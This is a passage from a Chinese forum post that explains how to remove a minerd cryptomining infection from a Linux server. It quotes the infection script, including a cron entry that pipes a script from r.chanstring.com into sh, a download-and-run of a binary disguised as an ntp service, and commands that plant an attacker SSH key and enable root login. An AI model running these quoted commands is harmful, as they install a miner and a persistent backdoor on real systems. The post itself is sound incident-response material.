<div class="line number205 index204 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
</div>
<div class="line number206 index205 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
</div>
<div class="line number207 index206 alt2"><code class="xhtml plain">fi</code></div>
<div class="line number208 index207 alt1"> </div>
<div class="line number209 index208 alt2"><code class="xhtml plain">if [ ! -f "/etc/init.d/ntp" ]; then</code></div>
<div class="line number210 index209 alt1">
<code class="xhtml spaces">    </code><code class="xhtml plain">if [ ! -f "/etc/systemd/system/ntp.service" ]; then</code>
</div>
<div class="line number211 index210 alt2">
<code class="xhtml spaces">        </code><code class="xhtml plain">mkdir -p /opt</code>
</div>
<div class="line number212 index211 alt1">
<code class="xhtml spaces">        </code><code class="xhtml plain">curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install</code>
</div>
<div class="line number213 index212 alt2">
<code class="xhtml spaces">    </code><code class="xhtml plain">fi</code>
</div>
<div class="line number214 index213 alt1"><code class="xhtml plain">fi</code></div>
<div class="line number215 index214 alt2"> </div>
<div class="line number216 index215 alt1"><code class="xhtml plain">/etc/init.d/ntp start</code></div>
<div class="line number217 index216 alt2"> </div>
<div class="line number218 index217 alt1"><code class="xhtml plain">ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9</code></div>
<div class="line number219 index218 alt2"><code class="xhtml plain">ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9</code></div>
</div></td>
</tr></tbody></table>
</div></div>
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<p><strong>得到结果</strong></p>
<p><strong><span>1.删除crontab的配置文件，如上我们已经删除，涉及的代码</span></strong></p>
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<div class="line number1 index0 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root</code></div>
<div class="line number2 index1 alt1"><code class="xhtml plain">mkdir -p /var/spool/cron/crontabs</code></div>
<div class="line number3 index2 alt2"><code class="xhtml plain">echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root</code></div>
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<p><strong><span>2.删除这个是用来免密码登陆的</span></strong></p>
<p>rm -f ~/.ssh/authorized_keys*<br>
rm -f ~/.ssh/KHK75NEOiq</p>
<p>你甚至可以直接把.ssh这个目录删除掉<br>
涉及的代码</p>
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<div class="line number1 index0 alt2"><code class="xhtml plain">if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then</code></div>
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<code class="xhtml spaces">    </code><code class="xhtml plain">mkdir -p ~/.ssh</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">rm -f ~/.ssh/authorized_keys*</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77</code>
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<div class="line number5 index4 alt2"><code class="xhtml plain">yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999</code></div>
<div class="line number6 index5 alt1"><code class="xhtml plain">3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq</code></div>
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<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PermitRootLogin yes" >> /etc/ssh/sshd_config</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">echo "RSAAuthentication yes" >> /etc/ssh/sshd_config</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config</code>
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<code class="xhtml spaces">    </code><code class="xhtml plain">/etc/init.d/sshd restart</code>
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<p><strong><span>3.删除 /opt/这个目录这玩意是第四步的服务产生的</span></strong></p>
<p><strong><span>4.删除服务</span></strong></p>
<p>service ntp stop<br>
rm /etc/init.d/ntp<br>
rm /usr/sbin/ntp<br>
涉及的代码</p>
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<code class="xhtml spaces">        </code><code class="xhtml plain">curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install</code>
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<p>如上的代码，下载了一个8M的程序，是安装了什么东西，楼主也不知道，但是接下来的代码暴露了行踪</p>
<p>/etc/init.d/ntp start</p>
<p>这行代码启动了ntp这个服务，百度搜了下说是个时间服务，其实这玩意是病毒服务，打开这个文件，找到可执行文件/usr/sbin/ntp 发现文件和那个8m的文件一个字节不差</p>
<p>所以删除这个文件</p>
<p>最后</p>
<p>ps aux|grep minerd</p>
<p>kill 掉所有的进程，ok修复结束</p>
<p>半小时之后</p>
<p>ps aux|grep minerd</p>
<p>minerd进程不再出现</p>
<p>以上就是小编为大家带来的linux中了minerd之后的完全清理过程(详解)全部内容了，希望大家多多支持~</p>

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琼殿技术论坛's Archiver

linux中了minerd之后的完全清理过程(详解)